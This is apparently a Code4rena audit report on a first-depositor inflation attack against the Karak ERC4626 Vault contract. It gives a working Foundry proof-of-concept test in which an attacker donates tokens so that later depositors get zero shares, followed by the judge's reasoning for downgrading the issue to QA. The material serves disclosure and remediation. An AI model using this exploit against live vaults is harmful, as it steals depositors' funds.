Vault is vulnerable to Inflation Attack

[c4-bot-6]

Lines of code

https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/Vault.sol#L78-L119

Vulnerability details

Impact

Malicous first depositor can steal assets off subsequent users.

Vulnerability Details

The vulnerability follows the path of the classic Inflation Attack whereby the First Depositor whos is the attacker mints 1 share for 1 wei and then donates a large amount directly to the vault.

It exploits "Rounding to Zero" to ensure that subsequent users receive zero shares for their deposits meaning the attacker's single share has the only claim over the funds in the vault.

The particular version of the erc4626 vault being used does make the attack more expensive though it is still possible to exploit.

The attacker needs to directly deposit into vault.sol double the largest amount being deposited by his victims.

For example to break even if bob (the attacker) sees alice & mike's pending deposits which are both for an amount of 1e18 he needs to deposit 2e18 to make his money back and ensure they receive zero shares

POC

Add the following test function below to vault.t.sol and run:

Donation Attack

    function test_donationAttack() public {

        address bob = address(15);
        address alice = address(16);
        address mike = address(17);

        uint256 dustDeposit = 1;
        uint256 mintAmount = 100e18;
        uint256 donationAmount = 2e18;
        uint256 victimDeposit = 1e18;

        // mint deposit tokens to bob & bob deposits
        // bob donates 2e18
        vm.startPrank(bob);
        depositToken.mint(bob, mintAmount);
        depositToken.approve(address(vault), type(uint256).max);
        uint256 bobShares = vault.deposit(dustDeposit, bob);
        depositToken.transfer(address(vault), donationAmount);
        vm.stopPrank();
        
        assertEq(bobShares, dustDeposit);
        assertEq(depositToken.balanceOf(address(vault)), donationAmount + dustDeposit);

        // mint deposit tokens to alice & alice deposits 1e18
        vm.startPrank(alice);
        depositToken.mint(alice, mintAmount);
        depositToken.approve(address(vault), type(uint256).max);
        uint256 aliceShares = vault.deposit(victimDeposit, alice);
        vm.stopPrank();

        assertEq(depositToken.balanceOf(address(vault)), 3e18 + dustDeposit);

        // mint deposit tokens to mike & mike deposits 1e18
        vm.startPrank(mike);
        depositToken.mint(mike, mintAmount);
        depositToken.approve(address(vault), type(uint256).max);
        uint256 mikeShares = vault.deposit(victimDeposit, mike);
        vm.stopPrank();

        assertEq(bobShares, 1);
        assertEq(aliceShares, 0);
        assertEq(mikeShares, 0);
        assertEq(depositToken.balanceOf(address(vault)), 4e18 + dustDeposit);

        // Attacker will own claim on half the vault and other depositors will be entitled to nothing
        uint256 withdrawableAssets = vault.convertToAssets(dustDeposit);
        // Attackers 1 wei of shares can withdraw 2e18 + dustDeposit (half the vault)
        assertEq(withdrawableAssets, 2e18 + dustDeposit);

    }

Tools Used

Manual Review
Foundry Testing

Recommendations

A good approach is to mint a minimum number of shares to the zero address, during contract deployment similar to the approach taken by UniswapV2

Assessed type

ERC4626

[c4-judge]

MiloTruck marked the issue as duplicate of #3

[c4-judge]

MiloTruck marked the issue as satisfactory

[c4-judge]

MiloTruck marked the issue as selected for report

[c4-judge]

MiloTruck changed the severity to 2 (Med Risk)

[MiloTruck]

Due to the existence of 1 virtual share in Solady's ERC4626 implementation, this attack is only profitable when 2 or more small deposits occur in a row. If only one deposit is made, the performing this attack will incur a loss for the attacker.

Since attackers have a significant chance of losing funds when performing such an attack, I don't believe they have sufficient incentive to pull this off.

Additionally, users can call deposit() with minShareOut to avoid losing funds from such attacks.

As such, I believe QA is appropriate.

[c4-judge]

MiloTruck changed the severity to QA (Quality Assurance)

[c4-judge]

MiloTruck marked the issue as not selected for report

[c4-judge]

MiloTruck marked the issue as grade-b